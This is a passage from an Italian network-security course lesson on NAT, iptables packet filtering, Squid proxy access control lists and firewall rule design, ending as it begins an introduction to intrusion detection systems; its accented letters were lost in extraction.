Il meccanismo di sostituzione degli indirizzi sopra de-
scritto non , di per s, sufficiente a permettere ogni tipo di
traffico. Alcuni protocolli trasmettono informazioni sull'in-
dirizzo all'interno del protocollo applicativo. Per consenti-
re questo tipo di traffico, quando gli indirizzi trasmessi so-
no relativi a connessioni entranti verso la rete privata, de-
ve essere modificato anche il contenuto del protocollo ap-
plicativo; questo, tipicamente, si ottiene con l'uso di moduli
NAT specifici.
Un caso tipico FTP: il comando PORT e la risposta al
comando PASVcontengono informazioni sull'indirizzo, che
devono essere modificate.
Esistono diverse modalit NAT supportate dai firewall.
Quelle principali sono le seguenti:
1. Dynamic NAT (NAT dinamica, detta anche NAPT -
Network Address and Port Translation, Hide NAT e IP Ma-
squerade): un vasto gruppo di client interni condivide un
singolo indirizzo IP esterno, o un piccolo gruppo di indi-
rizzi IP esterni. I sistemi interni non sono accessibili dal-
l'esterno, e la mappatura tra indirizzi interni e globali
cambia costantemente. Il massimo numero di connes-
sioni simultanee circa 64.000.
2. Static NAT (NAT statica): un blocco specifico di indirizzi
pubblici tradotto staticamente in un blocco di indiriz-
zi privati di uguali dimensioni.
3. Load Balancing Translation: un singolo IP e la relativa por-
ta sono tradotti in un pool di server ugualmente confi-
gurati; un singolo indirizzo Internet pu, quindi, essere
servito da parecchi server per bilanciare il carico di la-
voro.
4. Network Redundancy Translation: pi connessioni Inter-
net sono collegate a un unico firewall NAT che le sceglie
e le usa in base a larghezza di banda, congestione e di-
sponibilit.
In generale, se vi sono server accessibili pubblicamente
devono avere indirizzo pubblico, o la mappatura tra indi-
rizzo pubblico e privato deve essere costante. Gli indirizzi
dei client sono mappati dinamicamente sul gruppo di indi-
rizzi pubblici (se disponibile) o sull'unico IP pubblico.
Quando gli indirizzi pubblici sono tutti impegnati in con-
nessioni, sono possibili diverse opzioni:
1. si pu liberare un indirizzo pubblico e riassegnarlo, ad
esempio perch l'indirizzo interno a cui era assegnato
non genera traffico da un certo tempo;
2. non possibile liberare indirizzi pubblici, quindi nessun
altro sistema sulla rete privata al momento pu accede-
re a Internet;
3. pi sistemi condividono gli stessi indirizzi pubblici, e le
connessioni sono distinte in base alle altre caratteristi-
che della connessione, come le porte TCP o UDP mit-
tenti; se queste coincidono, necessario rimappare an-
che le porte. La PAT (Port Address Translation) permette
di mappare l'intero spazio d'indirizzi interni su un unico
indirizzo IP esterno: il firewall tiene traccia, nella tran-
slation table, delle connessioni aperte e dei numeri di
porta assegnati.
La traduzione dinamica di indirizzi e porte supporta un
massimo teorico di 64K connessioni, perch il pool di por-
te per il multiplexing delle connessioni di un client largo
16 bit.
La maggior parte dei firewall limita questo numero a cir-
ca 50.000 connessioni perch molte porte sono riservate.
Le impostazioni di default di IP Masquerade di Linux per-
mettono la traduzione di 4.096 porte, ma il numero mo-
dificabile. In pratica, il numero di porte disponibili ade-
guato, salvo nei casi in cui gli utenti mantengano centinaia
di connessioni attive (il collegamento a un sito Web pu
consumare decine di connessioni); la soluzione diventa al-
lora disporre di pi indirizzi IP pubblici.
Un esempio di Network Address Translation
Selezione del traffico
con filtri IP
Il filtraggio dei pacchetti IP avviene in base alle caratte-
ristiche dell'header IP ed, eventualmente, in base alle ca-
ratteristiche dell'header del protocollo trasportato: TCP,
UDP o ICMP.
I parametri principali sono quindi:
1. indirizzo IP del destinatario;
2. indirizzo IP del mittente;
3. protocollo
4. in caso di protocollo TCP o UDP, la porta mittente e/o
quella destinataria;
5. in caso di protocollo ICMP, il tipo e il codice.
Altri parametri importanti utilizzati, non riconducibili al-
le caratteristiche del pacchetto, sono fra gli altri l'interfac-
cia di rete dalla quale il pacchetto proviene e/o quella a cui
destinato; in questo modo, possibile riconoscere il traf-
fico proveniente da Internet da quello proveniente dalla re-
te aziendale, applicando politiche diverse. Le regole che si
possono costruire sono semplici e grossolane, ma gi in
grado di limitare notevolmente gli attacchi possibili.
Ad esempio, se un server aziendale o una workstation
non devono accedere direttamente a Internet, bloccare sul
firewall i pacchetti da o per i relativi indirizzi una prote-
zione efficace. In tali casi, ci si pu aspettare che le work-
station accedano a un mail server interno, e che l'accesso
al Web avvenga attraverso un proxy cache. Nell'utilizzo de-
gli indirizzi IP come parametro di selezione bene valuta-
re quando essi siano affidabili; ad esempio, un indirizzo IP
di origine pu essere facilmente falsificato, quindi non
corretto utilizzarlo come criterio per selezionare il traffico
da Internet. Con iptables (di cui vediamo alcuni esempi di
base comuni alla maggioranza dei prodotti), un comando
potrebbe essere:
iptables -A FORWARD -d x.x.x.x/24 -j DROP
dove x.x.x.x l'indirizzo della rete alla quale si vuole im-
pedire l'accesso, e FORWARD indica che si bloccano i pac-
chetti in transito attraverso il firewall e, quindi, in input al-
la rete. La scelta dell'opzione DROP indica che i pacchetti
destinati a questo indirizzo vengono scartati senza alcuna
segnalazione, mentre l'uso di REJECT permette di inviare
segnalazioni al mittente, ad esempio pacchetti ICMP Port
Unreachable.
La selezione di un servizio accessibile da Internet ri-
chiede invece l'utilizzo della porta destinataria. Ad esem-
pio, volendo consentire l'accesso da Internet al servizio
Web pubblico aziendale, dovr essere permesso il traffico
verso l'indirizzo IP del server, con protocollo TCP e porta
80:
iptables -A FORWARD -p tcp -d x.x.x.x --dport 80 -j ACCEPT
Nella maggior parte dei casi, come pure con iptables, il
firewall valuta le regole nell'ordine in cui sono elencate. La
prima regola che corrisponde al pacchetto esaminato vie-
ne applicata, e le regole successive sono ignorate. Questo
meccanismo rende fondamentale l'ordine in cui sono elen-
cate le regole. Ad esempio, con le regole:
iptables -A FORWARD -d 192.168.1.0/24 -j DROP
iptables -A FORWARD -p tcp -d 192.168.1.2 --dport 80 -j
ACCEPT
la seconda regola non viene mai utilizzata, dato che tut-
ti i pacchetti a cui essa potrebbe essere applicabile sono
comunque gestiti dalla regola precedente. Questo rende la
scrittura delle regole complessa e soggetta a errori. Inoltre,
se si consente una connessione da un sistema client a un si-
stema server, necessario permettere anche il corrispon-
dente traffico di risposta dal server al client. Molti prodot-
ti sono in grado di mantenere informazioni sullo stato del-
la connessione (stateful filtering), e gestiscono tale traffico
con apposite funzionalit.
Come regola generale, bene che una politica di con-
trollo del traffico permetta esplicitamente il traffico legitti-
mo e blocchi tutto il resto. Tale approccio, detto di default
deny, molto pi sicuro rispetto a bloccare il traffico rite-
nuto pericoloso e permettere il resto (default permit). La po-
litica di default deny si pu concretizzare con una regola fi-
nale del tipo:
iptables -A FORWARD -j DROP
In questo caso, il traffico che non stato permesso espli-
citamente dalle regole precedenti scartato.
E' possibile selezionare indirettamente la direzione del-
le connessioni TCP. Ad esempio, utilizzando regole statiche
e volendo permettere la connessione da parte dei client
della rete aziendale verso un server Web, ma non vicever-
sa, si possono utilizzare queste regole:
iptables -A FORWARD -p tcp -s 192.168.1.0/24 -d
192.168.2.2 --dport 80 -j ACCEPT
iptables -A FORWARD -p tcp -s 192.168.2.2 -d
192.168.1.0/24 --sport 80 --dport 1024:! --syn -j ACCEPT
iptables -A FORWARD -j DROP
La prima regola permette ai pacchetti in uscita dai client
di raggiungere il server Web. La seconda permette alle ri-
sposte provenienti dal server Web di raggiungere il client,
ma nello stesso tempo non permette al server Web di apri-
re connessioni verso i client, dato che blocca i pacchetti
con il solo flag SYN alzato.
Quando sono disponibili funzionalit di stateful filtering,
il secondo comando pu essere efficacemente sostituito
da:
iptables -A FORWARD -p tcp -s 192.168.2.2 -d
192.168.1.0/24 --sport 80 -m state -state ESTABLISHED
-j ACCEPT
Con i protocolli applicativi pi complessi, come FTP,
utile anche lo stato RELATED, che permette di associare
nuove connessioni a connessioni gi esistenti, ad esempio
per accettare una connessione dati FTP, se stata accetta-
ta la corrispondente connessione di controllo.
Alcuni prodotti gestiscono implicitamente lo stateful fil-
tering, nel qual caso non necessaria alcuna regola speci-
fica.
Un ulteriore controllo che pu essere realizzato riguar-
da la selezione dell'interfaccia dalla quale pu provenire un
pacchetto, per limitare le possibilit di spoofing degli indi-
rizzi. Ad esempio, se la rete aziendale ha indirizzi
10.0.1.0/24, una regola del tipo:
iptables -A FORWARD -s 10.0.1.0/24 -i eth0 -j DROP
dove eth0 l'interfaccia dal lato Internet, impedisce che
da Internet vengano inviati alla rete locale pacchetti con
mittente nella rete locale, che altrimenti il firewall potreb-
be autorizzare. Regole di questo tipo, che associano indi-
rizzi a interfacce dalle quali sono autorizzati, sono dette re-
gole di antispoofing. La loro applicazione diffusa per con-
trollare il traffico in uscita dalla rete locale (egress filtering)
ridurrebbe la praticabilit di molti attacchi, in primo luogo
quelli DDoS (Denial of Service distribuito). In effetti, l'utiliz-
zo da parte dei provider di filtri statici (poco pesanti) per
realizzare l'egress filtering sarebbe, probabilmente, il mec-
canismo pi efficace per ridurre notevolmente il successo
degli attacchi DDoS.
I filtri permettono anche di selezionare vari tipi di pac-
chetti ICMP (Internet Control Message Protocol), che pu es-
sere pi o meno opportuno lasciar passare attraverso il fi-
rewall. Nello scegliere quali pacchetti consentire o blocca-
re opportuno distinguere i pacchetti di cui si permette
l'ingresso o l'uscita dalla rete, nonch quello che si per-
mette ai server pubblici o agli altri sistemi. Il blocco com-
pleto del traffico ICMP ha un'alta probabilit di causare dis-
servizi anche difficili da diagnosticare, come avviene per
esempio se si bloccano i pacchetti Fragmentation Nee-
ded/DF set (il datagram dev'essere frammentato perch
troppo lungo, ma il bit DF lo impedisce, quindi il datagram
scartato).
Infine, pu essere opportuno bloccare traffico IP che ma-
5.7.8.6 Conoscere i
principi di
funzionamento dei
firewall IP nel filtrare
IP
nifesta diverse caratteristiche potenzialmente pericolose,
tra cui:
1. pacchetti con l'opzione di source routing abilitata (con cui
il mittente del pacchetto specifica il percorso che il pac-
chetto dovr seguire attraverso la rete, anzich lasciar-
lo decidere ai router);
2. pacchetti frammentati con frammenti che difficilmente
possono corrispondere a situazioni legittime, per esem-
pio troppo piccoli.
Uso dei proxy
e controlli applicativi
Uno dei vantaggi dei proxy la relativa facilit con cui si
possono implementare controlli a livello applicativo. Nel-
l'esaminare i controlli che un proxy pu eseguire, e quindi
i parametri di selezione del traffico, bene distinguere i ca-
si di protezione dei client da quelli di protezione dei server,
che hanno esigenze diverse.
D'altra parte, le funzionalit dei prodotti commerciali so-
no spesso assai pi limitate di quelle potenzialmente con-
sentite dalla tecnologia, quindi occorre accertare ci che
un prodotto realmente offre. La confusione a questo ri-
guardo pu generare un eccesso di fiducia nella tecnologia
e, quindi, comportamenti pericolosi non riconosciuti come
tali, nella falsa convinzione che il firewall blocchi tutti gli at-
tacchi. Un esempio tipico l'installazione indiscriminata di
programmi scaricati da Internet, ritenendoli innocui solo
perch passano attraverso il firewall. Inoltre, esigenze
aziendali di gestione o usabilit delle connessioni possono
impedire di utilizzare appieno le funzionalit di protezione
offerte dal firewall.
Viste le carenze dei controlli a livello applicativo, alcuni
prodotti cominciano a offrire funzionalit di deep packet in-
spection, che non si limitino ai controlli indicati in questa
sezione, ma coprono in modo pi esteso le esigenze di ve-
rifica dei protocolli applicativi e dei dati trasportati.
Protezione server
Nella maggior parte dei casi, oltre a un generico con-
trollo sulla sintassi di alcuni protocolli (HTTP, SMTP, FTP)
e il blocco di alcuni comandi, come EXPN e VRFY per SMTP,
il massimo disponibile un pattern matching sulle richieste,
complesso da configurare e con grossi limiti; configurarlo
correttamente, spesso, come sapere in anticipo quali so-
no i problemi potenziali del servizio, il che solitamente non
avviene.
E' bene tenere presente i limiti di questa tecnologia, e dei
firewall in generale, quando si tratta di proteggere un ser-
ver e, particolarmente, un'applicazione Web-based. Si trat-
ta di applicazioni personalizzate, spesso scritte ad-hoc per
un sito, e il significato dei parametri forniti nelle richieste
dipende molto dall'uso specifico sul sito. Perci molto im-
probabile che un firewall, commerciale o programmato su
misura, possa entrare nel merito del traffico di tali appli-
cazioni. Al di l della selezione delle porte, quindi, non ci si
deve aspettare troppe protezioni da un firewall in termini
di abusi delle applicazioni: cross site scripting, buffer
overflow, SQL injection sono tutti attacchi comuni nei con-
fronti dei quali difficilmente i firewall rappresentano una di-
fesa. Le funzionalit di deep packet inspection, quando pre-
senti, possono aiutare, almeno quando gli attacchi sono
portati con modalit note a prodotti diffusi. Si tenga conto
che il consumo di risorse della deep inspection di un or-
dine di grandezza superiore rispetto alla stateful inspec-
tion. Inoltre, occorre accertare che il termine deep inspec-
tion non si limiti a uno slogan marketing ma riguardi, in con-
creto, un gran numero di protocolli monitorati e d'intru-
sioni sventate. Un esempio commerciale di deep packet in-
spection offerto dal componente SmartDefense di Check
Point, integrato nel prodotto Firewall-1 NG.
Protezione client
In termini di controlli applicativi, i prodotti commercia-
li sono particolarmente focalizzati sui protocolli che nel-
l'insieme corrispondono alla maggior parte del traffico le-
gittimo generato da una workstation: HTTP, SMTP e FTP.
Per questi, le funzionalit pi comuni sono le seguenti:
1. blocco del contenuto attivo del traffico HTTP: Java, Ja-
vascript, ActiveX. Diversi problemi possono essere as-
sociati a questo tipo di codice, tuttavia bloccarlo pu
rendere inutilizzabili molti siti Web; un caso tipico di
compromesso tra sicurezza e funzionalit.
2. Blocco di siti corrispondenti a black list, ovvero elenchi
di siti da bloccare secondo l'argomento: pornografia, vio-
lenza, droghe, armi, hacking, ecc. Le black list possono
essere fornite da appositi servizi commerciali o dallo
stesso produttore del firewall (un esempio hardware
Safe@Office; un esempio software ZoneAlarm Security
Suite). In questi casi, l'aspetto sicurezza riguarda princi-
palmente la violazione delle politiche aziendali d'uso del-
la rete e, in secondo luogo, il rischio di infezioni (soprat-
tutto spyware) contratte visitando siti di cattiva reputa-
zione.
3. Blocco o quarantena di messaggi e file contenenti virus
(generalmente appoggiandosi ad antivirus esterni) e di
allegati ritenuti pericolosi, come programmi eseguibili e
simili.
4. Selezione mediante pattern matching delle URL accessi-
bili; ad esempio, se alcuni utenti sono autorizzati ad ac-
cedere a Internet per sole attivit di lavoro, possono es-
sere selezionati i siti necessari per tali attivit: i siti con
normative oppure gli uffici i cui servizi sono accessibili
via Internet.
Inoltre, utile autenticare gli utenti quando accedono a
Internet, sia per tutelarsi in caso di azioni illegali svolte dal-
la propria rete, sia per ridurre la possibilit che strumenti
automatici, tra cui virus e worm, accedano a Internet in mo-
do incontrollato. Le attivit di logging, necessariamente as-
sociate ai controlli del firewall, devono essere conformi al-
le normative vigenti, ad esempio in materia di privacy.
Un esempio di proxy: Squid
Come esempio di controllo degli accessi tramite proxy,
esaminiamo alcuni casi di configurazione di Squid (i ma-
nuali di configurazione sono disponibili presso
http://squid.visolve.com/squid/squid24s1/contents.htm e
http://squid.visolve.com/squid/squid30/contents.html).
Squid un proxy open-source per Unix nato principal-
mente con funzionalit di caching Web, quindi non lo stru-
mento pi indicato per la realizzazione di un firewall. E' co-
mune, per, che venga utilizzato come seconda linea per
l'accesso dei browser a Internet: un packet filter permette
il traffico con Internet solo a Squid, e quest'ultimo si occu-
pa delle altre restrizioni alla navigazione degli utenti.
In questa configurazione come firewall proxy destinato
a filtrare la connessione dei client a Internet bene che di-
sponga di due interfacce di rete, e che sia interposto tra In-
ternet e la rete aziendale in modo da impedire possibili by-
pass. Una prima misura di assicurare che il proxy accet-
ti connessioni solo sull'interfaccia interna. Se il proxy in-
stallato su un sistema con propri meccanismi di filtraggio,
questi devono essere abilitati per proteggere le porte bas-
se (inferiori a 1024) e la porta su cui sarebbe in ascolto il
proxy; gli stessi filtri devono essere attivati sull'eventuale
packet filter davanti al proxy.
La direttiva da utilizzare http_port:ip:port, dove ip l'in-
dirizzo della scheda interna. E' bene, poi, disattivare gli al-
5.7.8.7 Conoscere
i principi di
funzionamento dei
'proxy firewall' nel
filtrare i protocolli
5.7.8.8 Essere in
grado d'installare un
firewall e un proxy
server. Sapere
implementare una
politica di sicurezza
tri protocolli relativi alla gestione di gerarchie di cache, di
cui meglio che un firewall non faccia parte; le direttive so-
no icp_port 0 e htcp_port 0.
Dopo aver attivato Squid, una verifica con Netstat deve
confermare che Squid in ascolto su un'unica porta e un
solo indirizzo. Quindi si limitano gli accessi dalla rete in-
terna, una precauzione che pu evitare problemi in varie
aree:
1. comportamenti scorretti degli utenti;
2. attivit di host interni compromessi, ad esempio da
worm o trojan;
3. applicazioni che generano traffico inaspettato, come
spyware.
In particolare, non deve essere permesso ai server in-
terni di comunicare con Internet, mantenendoli il pi pos-
sibile isolati anche quando fossero compromessi. Il mec-
canismo generale di controllo di Squid quello delle ACL
(access control list) nella forma generale acl aclname aclty-
pe string1 string2che definisce una ACL di nome aclname,
di tipo acltype e con argomenti string1, string2 Le ACL
possono essere basate su diversi parametri, corrispon-
denti agli acltype:
1. su indirizzi mittente e destinatario;
2. su porta mittente e destinatario;
3. su espressioni regolari nelle URL richieste;
4. sui protocolli richiesti;
5. sui metodi richiesti;
6. sugli orari della connessione;
7. sui tipi MIME dei documenti scaricati;
8. sugli indirizzi MAC (Medium Access Control) da cui pro-
vengono le richieste.
Ad esempio, acl server src 192.168.1.0/26 definisce una
ACL di nome server relativa a richieste con indirizzo mit-
tente nella sottorete 192.168.1.0-192.168.1.63.
E' possibile usare anche i nomi, ma la risoluzione DNS,
oltre a essere inaffidabile, pu introdurre notevoli rallen-
tamenti; inoltre, evitare i nomi permette al server di pun-
tare a un server DNS esterno, senza far passare il traffico
DNS tra rete interna e rete esterna.
Tipiche ACL per un firewall possono permettere:
1. le connessioni verso le porte superiori a 1024, con l'ag-
giunta delle porte 21, 80 e 443, al fine di evitare connes-
sioni improprie verso servizi che si trovano in tale inter-
vallo;
2. i protocolli HTTP e FTP, limitando l'uso di CONNECT (ne-
cessario per il traffico HTTPS) alla porta 443;
3. le connessioni negli orari d'ufficio, tranne per i singoli in-
dirizzi o sottoreti esplicitamente autorizzati;
4. i tipi MIME innocui, bloccando almeno quelli pericolosi
come gli eseguibili.
Una volta definite le ACL, vengono applicate al traffico
con tag del tipo:
http_access deny/allow acl.
Ad esempio:
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access deny server
http_access allow localnets
http_access deny all
Anche in questo caso, le regole sono valutate seguendo
il loro ordine. Regole come quella che impedisce il traffico
HTTPS tranne che sulla porta 443 possono bloccare occa-
sionalmente l'accesso a server legittimi, ad esempio server
HTTPS attivati su porte diverse da 443. Si deve valutare la
possibilit e l'effetto di tali disservizi per decidere se mo-
dificare le regole o affrontare le eccezioni caso per caso.
Un ulteriore punto importante riguarda l'autenticazione,
tipicamente basata su servizi separati, RADIUS o LDAP. Per
fare questo, Squid si appoggia a software esterno, il cui
elenco disponibile su www.squid-cache.org. Qui si trova
anche SquidGuard, con meccanismi di filtraggio pi evolu-
ti; sul relativo sito si possono vedere citati numeri tali da
tranquillizzare molti amministratori di rete sulle presta-
zioni dei controlli basati su proxy. Tra il software aggiunti-
vo disponibile anche un'interfaccia per l'integrazione dei
controlli basati su alcuni antivirus.
Uso dei firewall per
nascondere la topologia
della rete
I moderni router e firewall permettono di utilizzare in-
tervalli di indirizzi IP privati sulla rete interna tramite la tra-
duzione dinamica tra indirizzi interni e indirizzi pubblici.
Nel capitolo 5.7.8.5 abbiamo mostrato in generale come
funziona la NAT (Network Address Translation) e, in parti-
colare, la NAT dinamica (detta anche Hide NAT o IP ma-
squerade), che modifica indirizzi e porte nei pacchetti man-
tenendo una corrispondenza tra nodi interni e nodi ester-
ni per la durata della connessione. Questa corrispondenza,
registrata nella translation table, da un lato permette di usa-
re un solo indirizzo IP pubblico (o un set limitato di indirizzi
pubblici) per un gran numero di indirizzi privati; d'altro la-
to, ha l'effetto di nascondere gli indirizzi IP interni (e quin-
di la topologia della LAN) agli host esterni.
Va notato che per proteggere i client la NAT non fa altro
che impedire agli host esterni di connettersi con gli host in-
terni. Se un client indotto a connettersi con un host ester-
no maligno o sull'host interno installato un trojan, il client
pu essere compromesso come se il firewall fosse assente.
Per questo, la NAT non una misura sufficiente per pro-
teggere la rete; il firewall deve essere affiancato da altre
contromisure (come antivirus e antispyware) in modo da
proteggere la rete interna da un vasto spettro di minacce.
Configurazione
NAT
La Network Address Translation spesso presentata an-
che come meccanismo di sicurezza in virt di due motivi:
1. mascherando gli indirizzi IP, sono rese disponibili meno
informazioni sulla topologia interna della rete. A volte, ta-
le protezione si perde quando poi le stesse informazioni
sono divulgate a livello applicativo; tipici esempi sono gli
header di risposta dei server Web o i campi Received: ne-
gli header di posta elettronica.
2. Soprattutto, un pacchetto che non trovi corrispondenza
nella translation table del firewall o router non viene in-
5.7.8.9 Essere in
grado di mascherare
gli indirizzi IP
mediante il firewall
5.7.8.10 Essere in
grado di configurare il
NAT sul firewall
Attivazione del Dynamic
NAT (Hide NAT o IP
masquerade) su un
firewall
stradato verso la rete privata.
Il secondo punto merita di essere approfondito. Gli in-
dirizzi IP della rete privata non sono gestiti dal routing di In-
ternet, quindi qualunque pacchetto che abbia come desti-
natario un indirizzo privato (come da RFC 1918) viene scar-
tato.
I pacchetti inviati agli indirizzi pubblici del pool di NAT
sono ritradotti e instradati dal router o firewall verso la re-
te privata solo se esistono, nella tabella di traduzione NAT,
record di corrispondenza con indirizzi e porte della rete
privata. Tale corrispondenza, a parte i casi di mappatura
statica usati tipicamente per i server pubblici, viene crea-
ta solo in corrispondenza di accessi a Internet da parte de-
gli indirizzi privati, e solo per un tempo limitato. Ci sono
quindi sistemi e porte che non sono accessibili da Internet
per assenza di routing, e quindi sono protetti.
D'altra parte, tale protezione presenta molti limiti. Per
cominciare, non applicabile ai server pubblici, mappati
staticamente, e ai servizi che devono essere accessibili
pubblicamente. Inoltre, non applicabile alle connessioni
aperte dai client, dato che in questi casi la mappatura esi-
ste. Sono invece protetti i sistemi che non accedono a In-
ternet, come i server interni. In caso di PAT (Port Address
Translation), che prevede la traduzione anche dei numeri di
porta, sono protetti anche i servizi attivi su sistemi che ac-
cedono a Internet; un caso tipico la condivisione della
connessione Internet in Windows XP. D'altra parte, non
mancano i modi per raggiungere un client dietro NAT/PAT,
come dimostrano i servizi di instant messaging e i servizi
peer-to-peer.
Consideriamo i principali canali di attacco ai sistemi di
una rete. Spesso sono i server pubblici o i client attraver-
so la posta elettronica o le pagine Web; nessuna di queste
connessioni infatti protetta da NAT/PAT. Questa , in ef-
fetti, una protezione a livello di indirizzi e, quindi, non in
grado di ridurre le vulnerabilit legate ad esempio ai pro-
tocolli applicativi. Come protezione in s quindi, in gene-
rale, piuttosto debole, mentre un componente utile al-
l'interno di un firewall pi complesso.
Unulteriore considerazione relativa alla NAT riguarda il
fatto che la protezione data essenzialmente dall'assenza
di record relativi al routing delle reti private sui router In-
ternet.
Questi record sono per presenti sul sistema che esegue
la NAT; pertanto se viene compromesso un nodo adiacen-
te, ad esempio quello che connette il router al resto di In-
ternet, su questo nodo possibile attivare una route per la
rete privata verso il router che esegue la NAT.
Quest'ultimo, in assenza di altre protezioni, instrader i
pacchetti verso la rete privata; di conseguenza, la com-
promissione del nodo precedente (rispetto a quello che
esegue la NAT) permette di aggirarne le protezioni. Per evi-
tare questa possibilit, necessario bloccare sul router che
esegue la NAT gli eventuali pacchetti provenienti da Inter-
net che abbiano come destinatario un indirizzo della rete
privata.
Un esempio di utilizzo della NAT pu essere:
iptables -A POSTROUTING -t nat -o eth0 -p tcp -s
192.168.128.0/24 -j SNAT --to-source x.x.x.x-x.x.x.y
Questa regola prende il traffico in uscita sull'interfaccia
eth0 (nell'esempio l'interfaccia di rete verso Internet) e uti-
lizza la NAT per rimappare l'indirizzo della rete privata su
un pool di indirizzi pubblici (da x.x.x.x a x.x.x.y).
Si noti che:
1. gli indirizzi devono essere effettivamente assegnati a in-
terfacce (presumibilmente virtuali) sul lato Internet; in
caso contrario, non viene consegnato il traffico di rispo-
sta;
2. la porta mittente pu essere in generale rimappata, sep-
pure con dei vincoli, a meno che non venga dichiarata
una mappatura esplicita nell'opzione --to-source.
Creazione di regole d'accesso
per un firewall
Nei capitoli precedenti sono state descritte delle regole
d'acceso (access rules) per packet filter e per proxy. Si pu
vedere che, a parte la granularit e il livello al quale sono
realizzati i controlli, la logica sostanzialmente la stessa. Ci
sono differenze che possono richiedere un'attenzione spe-
cifica; ad esempio, nei router e firewall Cisco l'interfaccia ha
un ruolo centrale, mentre in iptables opzionale, e in Squid
non compare neppure. Tuttavia, l'impostazione sostan-
zialmente sempre la stessa, a partire dalla logica della lista
di regole ordinata.
Nel seguito sono quindi descritte tipologie di traffico di
cui tenere conto, in un possibile ordine di gestione. Molto
di questo traffico deve essere gestito esplicitamente solo
su packet filter, essendo gestito automaticamente (solita-
mente bloccato) dai proxy.
Antispoofing
Affrontare immediatamente l'antispoofing permette poi
di lavorare sugli indirizzi IP, ignorando le interfacce. Questa
operazione pu essere ottenuta inserendo subito delle re-
gole che bloccano il traffico proveniente dalle interfacce
sbagliate. In alcuni strumenti e prodotti ci ottenuto as-
sociando gli "oggetti" (host, reti, ecc.) alle interfacce; lo
strumento inserisce poi, automaticamente, regole che
bloccano il traffico proveniente da indirizzi di un oggetto,
ma non sull'interfaccia associata.
Frammentazione e altro traffico anomalo
Esiste un insieme di tipologie di pacchetti che, per di-
versi motivi, sono indesiderabili: pacchetti malformati, con
parametri o opzioni scorretti o indesiderati (come l'utiliz-
zo del source routing), o frammentati in modo anomalo. Al-
cune di queste tipologie di pacchetti corrispondono a tec-
niche di attacco ben note; altre potrebbero comunque es-
sere associate ad attacchi, per esempio per causare mal-
funzionamenti nello stack TCP/IP. Per questi motivi bene
bloccare tali pacchetti, anche se generalmente gli stru-
menti non permettono di entrare nel dettaglio di quello che
si vuole scartare, gestendo magari il traffico anomalo con
un'unica regola come la --match unclean di iptables (gestita
da un modulo sperimentale che esegue vari controlli di
buona salute dei pacchetti; non garantita come misura di
sicurezza e potenzialmente affetta da bug).
Scartare alcuni tipi di frammentazione non significa
bloccare tutto il traffico frammentato; ad esempio, la Path
MTU discovery (RFC 1911), scoperta della minima Maxi-
mum Transmission Unit fra tutti i link tra due host, in ge-
nerale non funziona correttamente per i pacchetti UDP, da-
to che l'eventuale ritrasmissione dovrebbe essere gestita
dall'applicazione. I pacchetti UDP possono quindi essere
frammentati, perci bloccare tutto il traffico frammentato
pu causare disservizi in protocolli importanti come il DNS.
Loopback
Pu essere necessario permettere a processi locali di co-
municare su questa interfaccia (un'interfaccia virtuale di te-
sting che non connessa a una rete fisica e che fornisce im-
mediata autorisposta).
Se ci sono dei processi in ascolto su 127.0.0.1 (il pi co-
mune indirizzo di loopback tra quelli possibili), possibi-
le che sia necessario permettere del traffico verso questi
servizi, ma solo generato sulla stessa interfaccia di loop-
back. Un caso tipico sono alcuni servizi RPC (Remote Pro-
cedure Call) che, su alcune architetture, sono necessari per
il corretto funzionamento di meccanismi interni del siste-
ma. Ad eccezione di tali casi, anche il traffico sull'interfac-
cia di loopback deve essere bloccato e, soprattutto, deve
5.7.8.11 Essere in
grado d'impostare
delle regole
d'accesso sul firewall
essere bloccato in generale il traffico destinato all'inter-
faccia di loopback non generato dall'interfaccia stessa.
Multicast
La trasmissione simultanea di pacchetti a un gruppo di
destinatari usata principalmente da protocolli di routing
e da applicazioni audio/video.
Non opportuno, come regola generale, permettere pro-
tocolli di routing attraverso un firewall; dato che questo do-
vrebbe essere l'unico punto di contatto tra le reti, il routing
dovrebbe essere statico, anche per impedire manipolazio-
ni.
Quanto al traffico audio/video, necessario valutare ca-
so per caso la stabilit delle applicazioni e il controllo che
si riesce a ottenere.
Se il traffico audio/video multicast si fa passare come
pacchetti, necessario attivare il routing multicast sul fi-
rewall, che aggiunge complessit al sistema. Dove possibi-
le, si pu considerare l'uso di un proxy.
ICMP
Il traffico dev'esser selezionato con cura, differenziando
quello entrante sulla rete da quello uscente.
Alcuni tipi di messaggi come Fragmentation Needed/DF
set non dovrebbero essere bloccati. Messaggi come gli al-
tri ICMP type 3 (errori di tipo unreachable), se bloccati,
possono causare notevoli rallentamenti nell'uso della rete
e altri disturbi. Alcuni devono essere sempre bloccati. Pu
essere preferibile permettere il ping verso i sistemi pubbli-
ci, con un migliore sevizio per l'utenza, salvo bloccarlo in
presenza di DoS (Denial of Service).
Broadcast
I broadcast non hanno generalmente un valido motivo
per attraversare un firewall, e devono essere bloccati in in-
gresso, anche per non divenire un amplificatore di smurf.
In uscita, difficile riconoscerli.
Una volta completata la configurazione di tutti i parame-
tri precedenti, si possono selezionare i singoli servizi.
ITAdministrator - Sicurezza informatica Lezione 7E
I
sistemi di rilevamento delle intrusioni, o Intrusion Detec-
tion Systems (IDS), sono sistemi hardware o software che
automatizzano il processo di monitoraggio degli eventi
che avvengono in un sistema o in una rete, analizzandoli al-
la ricerca d'indicatori riconducibili a problemi di sicurezza.
Un'intrusione qualunque attivit non autorizzata su un
sistema o sulla rete di un individuo o di un'organizzazione.
Pu manifestarsi, ad esempio, come l'azione di un utente le-
gittimo per procurarsi privilegi superiori a quelli che gli so-
no concessi, il tentativo di un utente remoto non autoriz-
zato di compromettere un servizio di sistema per creare un
account, l'installazione di codice maligno trasportato dal-
la posta elettronica, o in tanti altri modi.
Non esiste una definizione legale d'intrusione che sia
univoca e di facile applicazione. I criteri variano da nazio-
ne a nazione e non sono uniformi, neppure in ambito na-
zionale. Non sempre chiaro se un'intrusione illegale (si
pensi alla scansione delle porte, un'attivit pressoch co-
stante su Internet che, in s, non un atto ostile, ma pu
preludere a un tentativo di attacco).
Su un piano concreto, l'intrusion detection il processo
di monitorare gli eventi che avvengono in un sistema, o in
una rete, e di analizzarli alla ricerca di segni d'intrusione, in-
tesi come tentativi di compromettere riservatezza, inte-
grit e disponibilit delle informazioni (i cardini della poli-
tica di sicurezza) o di aggirare i meccanismi di sicurezza di
un computer o di una rete.
Il termine IDS indica un'ampia classe di prodotti e tec-
nologie. La caratteristica che hanno in comune quella di
rilevare segni d'intrusione, cio possibili violazioni della
politica di sicurezza. In generale, un IDS si limita a rilevare
le intrusioni senza impedirle; le informazioni raccolte ser-
